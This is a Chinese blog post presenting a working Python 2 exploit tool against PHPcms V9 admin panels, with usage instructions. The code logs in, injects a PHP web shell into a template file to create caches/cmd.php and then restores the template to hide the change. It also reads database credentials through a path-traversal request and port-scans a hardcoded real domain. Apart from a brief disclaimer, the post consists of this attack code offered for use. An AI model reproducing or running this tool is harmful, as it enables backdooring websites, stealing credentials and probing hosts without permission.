注意:本程序具有攻击性,请勿用作非法用途,否则于本作者无关!
最近一直在学习python相关内容就顺手写个工具以作练习,上代码:
#coding: GBK
'''
Created on 2012-8-2
@author: Return
'''
import cookielib
import urllib2,urllib
import re
import sys
import os
import socket
class getShell:
rhost = ''#远程目标主机
cookieSavePath= 'tmp/cookie/cookie.dat' #cookie 保存位置
codeSavePath= 'tmp/code/code.png' #code保存位置
phpShell= '"; file_put_contents("caches/cmd.php",$shell); ?>' #一句话
header= {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'}
tmpPath = ''#临时地址存贮变量
dataBaseInfo= {}#数据库信息
postData= {}#post数据
url = ''#远程url地址
username= ''#用户名
password= ''#用户密码
vfCode= ''#验证码
pc_hash = ''#phpcmsV9校验值
result= ''#临时变量
#===========================================================================
# __init__初始化函数
#===========================================================================
def __init__(self):
self.cookie = cookielib.LWPCookieJar()
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)))
#===========================================================================
# login登录
#===========================================================================
def login(self):
self.getVerifyCode()#先获取验证码
self.tmpPath= '/index.php?m=admin&c=index&a=login&dosubmit=1'
self.postData = {
'username':self.username,
'password':self.password,
'code':self.vfCode,
'dosubmit':''
}
self.url = 'http://'+self.rhost+self.tmpPath
self.result = self.urlPostData()
if len(re.findall("登录成功",self.result)):
self.pc_hash = re.search("(?<=pc_hash=)(.+?)(?=\')",self.result).group()
print '登录成功'
self.wirteShell() # 登陆成功后写入shell
else:
print '登录失败'
print re.search('(330px">)((.|\n)*?)(?=
)',self.result).group(2)
self.login()
def wirteShell(self):
print '写入Shell...'
tmpPath = '/index.php?m=template&c=file&a=edit_file&style=default&dir=search&file=footer.html&pc_hash='
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash #v9中必须加上校验码,否则不能通过
self.result = self.urlPostData()
if len(re.findall('点击插入',self.result)):
templateTmp = re.search("(
)((.|\n)*?)(<.*?>)",self.result).group(2)
#提交写shell模版
self.postData = {
'code':self.phpShell,
'dosubmit':'提交',
'pc_hash':self.pc_hash
}
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash
self.urlPostData()
urllib2.urlopen('http://'+self.rhost+'/index.php?m=search').read()#访问模版页面生成shell
#写回原模版
self.postData = {
'code':templateTmp,
'dosubmit':'提交',
'pc_hash':self.pc_hash
}
self.url = 'http://'+self.rhost+tmpPath+self.pc_hash
self.urlPostData()
else:
print '没有找到Search的foot模版...'
#===========================================================================
# getVerifyCode获取验证码
#===========================================================================
def getVerifyCode(self):
#验证码获取地址
self.tmpPath = '/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background='
self.url = 'http://'+self.rhost+self.tmpPath
open(self.codeSavePath,'wb').write(self.urlPostData())
print '请输入验证码:'
self.showPic()
self.vfCode = sys.stdin.readline()
#===========================================================================
# urlPostDataurl Post提交数据
#===========================================================================
def urlPostData(self):
postData = urllib.urlencode(self.postData)
req = urllib2.Request(
url = self.url,
data = postData,
headers = self.header
)
result = urllib2.urlopen(req).read()
self.saveCookie()
self.delVariable()
return result
#===========================================================================
# getDataBaseInfo获取数据库信息
#===========================================================================
def getDataBaseInfo(self):
#爆数据库信息地址
self.tmpPath = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php'
self.url = 'http://'+self.rhost+self.tmpPath
result = self.urlPostData()
self.dataBaseInfo['hostName'] = re.search("(?<='hostname' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['database'] = re.search("(?<='database' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['username'] = re.search("(?<='username' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['password'] = re.search("(?<='password' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['tablepre'] = re.search("(?<='tablepre' => ')(.*?)(?=',)",result).group()
self.dataBaseInfo['type'] = re.search("(?<='type' => ')(.*?)(?=',)",result).group()
#===========================================================================
# printDbInfo输出数据库信息
#===========================================================================
def printDbInfo(self):
print 'HostName:',self.dataBaseInfo['hostName']
print 'DataBase:',self.dataBaseInfo['database']
print 'UserName:',self.dataBaseInfo['username']
print 'Password:',self.dataBaseInfo['password']
print 'TablePre:',self.dataBaseInfo['tablepre']
print 'DataType:',self.dataBaseInfo['type']
#===========================================================================
# scanPort端口扫描
#===========================================================================
def scanPort(self):
for p in range(80,8000):
try:
ip = 'www.gidigame.com'
port = p
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
print 'Port:',port,' open'
s.close()
except socket.error,msg:
pass
#print 'Port:',port,' close'
#===========================================================================
# setRhost设置目标主机
#===========================================================================
def setRhost(self,host):
self.rhost = host
#===========================================================================
# getRhost获取目标主机
#===========================================================================
def getRhost(self):
return self.rhost
#===========================================================================
# setShell自定义shell
#===========================================================================
def setShell(self,shellCode):
self.phpShell = shellCode
#===========================================================================
# saveCookie保存cookie值
#===========================================================================
def saveCookie(self):
self.cookie.save(self.cookieSavePath)
#===========================================================================
# logMsg日志信息,这里可以自己捕捉异常后处理信息
#===========================================================================
def logMsg(self,msg):
print msg
exit()
#===========================================================================
# showPic用来显示验证码
#===========================================================================
def showPic(self):
imgPath = os.path.abspath(self.codeSavePath)
os.system('rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen '+imgPath)
#===========================================================================
# delVariable清除变量,防止产生误差
#===========================================================================
def delVariable(self):
self.url= ''
self.tmpPath= ''
self.dataBaseInfo = {}
self.postData = {}
self.header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'}
#===========================================================================
# __del__析构函数,类被注销时候调用
#===========================================================================
def __del__(self):
print 'Bye...'
def sysinfo():
print '''
********************************************************************************
PHPcmsV9 自动写shell
功能:自动写入caches目录下cmd.php一句话 密码:cmd
Author: ReturnBlog:www.creturn.com
Example: exp.py www.creutn.com username password
********************************************************************************
'''
#===============================================================================
# main入口函数
#===============================================================================
def main():
sysinfo();
shell = getShell()
if(len(sys.argv) > 3):
shell.setRhost(sys.argv[1])
shell.username = sys.argv[2]
shell.password = sys.argv[3]
shell.login()
else:
print '参数不对!'
if __name__ == '__main__':
main()
使用说明,直接看实例截图:
运行程序后,输入目标地址如:www.site.com 用户名 密码
会自动用图片查看器打开验证码,然后输入验证码:
正确输入验证码后,程序会自动写入cache/cmd.php的一句话,由于找的一个测试外部站点,仅用了一些安全方面的函数因此一句话
就不能测试了,我就直接写入一个php文件输出一段文字:shell一句话:cmd
作者:Return's